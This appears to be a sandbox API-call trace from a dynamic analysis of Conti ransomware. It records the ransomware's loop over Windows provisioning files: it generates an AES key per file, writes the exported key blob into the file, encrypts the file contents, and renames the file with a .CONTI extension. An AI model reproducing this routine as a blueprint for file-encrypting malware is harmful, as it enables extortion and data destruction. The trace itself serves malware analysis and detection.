	[0113.525] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml"
	[0113.525] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.525] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\625__connections_cellular_truphone (poland)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\625__connections_cellular_truphone (poland)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.526] GetProcessHeap () returned 0x1720000
	[0113.526] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.526] CryptDestroyKey (hKey=0x17c7cb0) returned 1
	[0113.526] GetProcessHeap () returned 0x1720000
	[0113.526] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cda88 | out: hHeap=0x1720000) returned 1
	[0113.526] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0113.526] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65c1e40 | out: phKey=0x65c1e40*=0x17c78b0) returned 1
	[0113.526] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c1e44, pdwDataLen=0x36ffea4 | out: pbData=0x65c1e44*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0113.527] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\626__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.527] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\626__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0113.527] GetLastError () returned 0x0
	[0113.527] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=459) returned 1
	[0113.527] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb
	[0113.527] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.527] SetEndOfFile (hFile=0x3f8) returned 1
	[0113.533] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.533] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.533] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c1e44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65c1e44*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.538] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.538] ReadFile (in: hFile=0x3f8, lpBuffer=0x12130000, nNumberOfBytesToRead=0x1cb, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x1cb, lpOverlapped=0x0) returned 1
	[0113.538] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x1cb, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x1d0) returned 1
	[0113.538] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.539] WriteFile (in: hFile=0x3f8, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x1d0, lpOverlapped=0x0) returned 1
	[0113.539] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.539] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c1e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65c1e38*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0113.539] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.539] CloseHandle (hObject=0x3f8) returned 1
	[0113.539] GetProcessHeap () returned 0x1720000
	[0113.539] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.539] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0113.539] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0113.539] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\626__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\626__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0113.540] GetProcessHeap () returned 0x1720000
	[0113.540] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.540] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0113.540] GetProcessHeap () returned 0x1720000
	[0113.540] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd190 | out: hHeap=0x1720000) returned 1
	[0113.540] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0113.540] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65c3758 | out: phKey=0x65c3758*=0x17c7830) returned 1
	[0113.540] CryptExportKey (in: hKey=0x17c7830, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c375c, pdwDataLen=0x36ffea4 | out: pbData=0x65c375c*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0113.541] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\629__connections_cellular_bell (canada)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.541] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\629__connections_cellular_bell (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0113.541] GetLastError () returned 0x0
	[0113.541] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=701) returned 1
	[0113.541] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bd
	[0113.541] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.541] SetEndOfFile (hFile=0x3f8) returned 1
	[0113.542] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.542] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.542] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c375c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65c375c*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.604] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.604] ReadFile (in: hFile=0x3f8, lpBuffer=0x12130000, nNumberOfBytesToRead=0x2bd, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x2bd, lpOverlapped=0x0) returned 1
	[0113.604] CryptEncrypt (in: hKey=0x17c7830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2bd, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2c0) returned 1
	[0113.604] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.604] WriteFile (in: hFile=0x3f8, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x2c0, lpOverlapped=0x0) returned 1
	[0113.604] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.604] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c3750*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65c3750*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0113.604] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.604] CloseHandle (hObject=0x3f8) returned 1
	[0113.604] GetProcessHeap () returned 0x1720000
	[0113.604] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b130
	[0113.604] lstrcpyW (in: lpString1=0x653b130, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml"
	[0113.604] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.604] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\629__connections_cellular_bell (canada)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\629__Connections_Cellular_Bell (Canada)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\629__connections_cellular_bell (canada)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.606] GetProcessHeap () returned 0x1720000
	[0113.606] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b130 | out: hHeap=0x1720000) returned 1
	[0113.606] CryptDestroyKey (hKey=0x17c7830) returned 1
	[0113.606] GetProcessHeap () returned 0x1720000
	[0113.606] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd6b0 | out: hHeap=0x1720000) returned 1
	[0113.606] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0113.606] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65c4508 | out: phKey=0x65c4508*=0x17c7bb0) returned 1
	[0113.606] CryptExportKey (in: hKey=0x17c7bb0, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c450c, pdwDataLen=0x36ffea4 | out: pbData=0x65c450c*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0113.607] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\62__connections_cellular_mtn (cameroon)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.607] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\62__connections_cellular_mtn (cameroon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0113.608] GetLastError () returned 0x0
	[0113.608] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x36ffe50 | out: lpFileSize=0x36ffe50*=704) returned 1
	[0113.608] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c0
	[0113.608] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.608] SetEndOfFile (hFile=0x3f8) returned 1
	[0113.608] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.608] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.608] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c450c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x36ffe5c, lpOverlapped=0x0 | out: lpBuffer=0x65c450c*, lpNumberOfBytesWritten=0x36ffe5c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.989] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.989] ReadFile (in: hFile=0x3f8, lpBuffer=0x12130000, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x36ffe7c, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesRead=0x36ffe7c*=0x2c0, lpOverlapped=0x0) returned 1
	[0114.989] CryptEncrypt (in: hKey=0x17c7bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2c0, dwBufLen=0x500000 | out: pbData=0x12130000*, pdwDataLen=0x36ffe74*=0x2d0) returned 1
	[0114.989] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.989] WriteFile (in: hFile=0x3f8, lpBuffer=0x12130000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x36ffe90, lpOverlapped=0x0 | out: lpBuffer=0x12130000*, lpNumberOfBytesWritten=0x36ffe90*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.989] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.989] WriteFile (in: hFile=0x3f8, lpBuffer=0x65c4500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x36ffea8, lpOverlapped=0x0 | out: lpBuffer=0x65c4500*, lpNumberOfBytesWritten=0x36ffea8*=0x8, lpOverlapped=0x0) returned 1
	[0114.989] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.989] CloseHandle (hObject=0x3f8) returned 1
	[0114.989] GetProcessHeap () returned 0x1720000
	[0114.989] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.989] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml"
	[0114.989] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.989] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\62__connections_cellular_mtn (cameroon)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\62__Connections_Cellular_MTN (Cameroon)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\62__connections_cellular_mtn (cameroon)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.991] GetProcessHeap () returned 0x1720000
	[0114.991] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.991] CryptDestroyKey (hKey=0x17c7bb0) returned 1
	[0114.991] GetProcessHeap () returned 0x1720000
	[0114.991] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cdd18 | out: hHeap=0x1720000) returned 1
	[0114.991] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0114.991] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x65dd710 | out: phKey=0x65dd710*=0x6b7f378) returned 1
	[0114.991] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dd714, pdwDataLen=0x36ffea4 | out: pbData=0x65dd714*, pdwDataLen=0x36ffea4*=0x20c) returned 1
	[0114.991] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\vdistate.xml")) returned 0x20
	[0115.802] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0115.802] GetLastError () returned 0x5
	[0115.802] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0115.802] GetProcessHeap () returned 0x1720000
	[0115.802] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a840 | out: hHeap=0x1720000) returned 1
	[0115.802] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x36ffed0, lpCompletionKey=0x36ffed4, lpOverlapped=0x36ffee0) returned 1
	[0115.802] CryptGenKey (in: hProv=0x176b820, Algid=0x6610, dwFlags=0x1, phKey=0x6b51960 | out: phKey=0x6b51960*=0x6b7f078) returned 1
	[0115.802] CryptExportKey (in: hKey=0x6b7f078, hExpKey=0x175e8f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51964, pdwDataLen=0x36ffea4 | out: pbData=0x6b51964*, pdwDataLen=0x36ffea4*=0x20c) returned 1
